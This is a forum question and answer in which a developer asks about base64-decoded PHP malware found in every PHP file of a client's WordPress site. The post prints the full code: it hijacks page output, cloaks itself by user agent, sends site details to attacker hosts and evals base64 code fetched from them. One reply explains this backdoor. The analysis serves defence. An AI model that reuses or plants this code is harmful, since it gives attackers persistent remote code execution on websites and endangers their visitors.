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Asked: 2026-05-30T11:45:34+00:00

I’ve found this code in base 64 on all php files of one of

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I’ve found this code in base 64 on all php files of one of my client’s site (wordpress) and I’m trying to understand what it does.

I’m also trying to figure out if it was an application exploit or a direct FTP access that has past this code.

Everything starts with setup_globals_777() and ob_start('mrobh') setting the callback to the mrobh($content) function.

Then there are a call to gzdecodeit ($decode) where the hassle starts out.

It seems like it gets the page content and change it. Now I’m trying to detect the specific changes and understand all functions, including the second one gzdecodeit().

Can someone shed some light on it?

The calls

setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out

The callback:

function mrobh ($content)
{
    @Header('Content-Encoding: none');
    $decoded_content = gzdecodeit($content);
    if (preg_match('/\<\/body/si', $decoded_content)) {
        return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
                            $decoded_content);
    } else {
        return $decoded_content . gml_777();
    }
}

The setup function (understandable)

function setup_globals_777 ()
{
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
    $mz = "/tmp/";
    if (! is_dir($rz)) {
        @mkdir($rz);
        if (is_dir($rz)) {
            $mz = $rz;
        } else {
            $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                }
            } else {
                $mz = $rz;
            }
        }
    } else {
        $mz = $rz;
    }
    $bot = 0;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
        $bot = 1;
    if (stristr($ua, "bingbot") || stristr($ua, "google"))
        $bot = 1;
    $msie = 0;
    if (is_msie_777($ua))
        $msie = 1;
    $mac = 0;
    if (is_mac_777($ua))
        $mac = 1;
    if (($msie == 0) && ($mac == 0))
        $bot = 1;
    global $_SERVER;
    $_SERVER['s_p1'] = $mz;
    $_SERVER['s_b1'] = $bot;
    $_SERVER['s_t1'] = 1200;
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
     urlencode($_SERVER["PHP_SELF"]) . "&a=" .
     urlencode($_SERVER["HTTP_USER_AGENT"]);
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
    $_SERVER['s_script'] = "mm.php?d=1";
}

The first function called after the callback execution:

Here is where the magic happens. I can’t see the calls for the other
available functions and understand what this function is actually
decoding, since the $decode var is the application output grabbed by
the ob_start()

function gzdecodeit ($decode)
{
    $t = @ord(@substr($decode, 3, 1));
    $start = 10;
    $v = 0;
    if ($t & 4) {
        $str = @unpack('v', substr($decode, 10, 2));
        $str = $str[1];
        $start += 2 + $str;
    }
    if ($t & 8) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 16) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 2) {
        $start += 2;
    }
    $ret = @gzinflate(@substr($decode, $start));
    if ($ret === FALSE) {
        $ret = $decode;
    }
    return $ret;
}

All the available functions (after a base64_decode()):

<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (! function_exists('mrobh')) {
        function get_tds_777 ($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }
        function trycurl_777 ($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777 ($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777 ($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f = @fopen($url, 'r');
            if ($f) {
                while (! feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777 ($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $f = @fsockopen($host, 80, $errno, $errstr, 30);
            if (! $f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (! feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function trysocket_777 ($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $ip1 = @gethostbyname($host);
            $ip2 = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (! @socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function update_tds_file_777 ($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list ($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777 ()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir = $_SERVER['s_p1'];
            $tdsfile = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777 ($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777 ($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
             stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777 ()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (! is_dir($rz)) {
                        @mkdir($rz);
                        if (is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1'] = $mz;
            $_SERVER['s_b1'] = $bot;
            $_SERVER['s_t1'] = 1200;
            $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
            $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
             urlencode($_SERVER["PHP_SELF"]) . "&a=" .
             urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
            $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
            $_SERVER['s_script'] = "mm.php?d=1";
        }


        if (! function_exists('gml_777')) {
            function gml_777 ()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '';
                return $r_string_777;
            }
        }
        if (! function_exists('gzdecodeit')) {
            function gzdecodeit ($decode)
            {
                $t = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh ($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', 
                gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }

    }
}
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  1. Editorial Team

    Looks like it creates a hidden .log folder:

    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
    @mkdir($rz);
    if (is_dir($rz)) {
        $mz = $rz;
    } else {
        $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
        if (! is_dir($rz)) {
            @mkdir($rz);
            if (is_dir($rz)) {
                $mz = $rz;
            }
        } else {
            $mz = $rz;
        }
    }
} else {
    $mz = $rz;
}

    Then seems to download code from http://www.lolypopholypop.com/g_load.php and http://sweepstakesandcontestsdo.com/, base64 decodes it, then executes it:

    function update_tds_file_777 ($tdsfile)
    {
        $actual1 = $_SERVER['s_a1'];
        $actual2 = $_SERVER['s_a2'];
        $val = get_tds_777($actual1);
        if ($val == "")
            $val = get_tds_777($actual2);
        $f = @fopen($tdsfile, "w");
        if ($f) {
            @fwrite($f, $val);
            @fclose($f);
        }
        if (strstr($val, "|||CODE|||")) {
            list ($val, $code) = explode("|||CODE|||", $val);
            eval(base64_decode($code));
        }
        return $val;
    }

    So without having to access your server again, they can execute different code.

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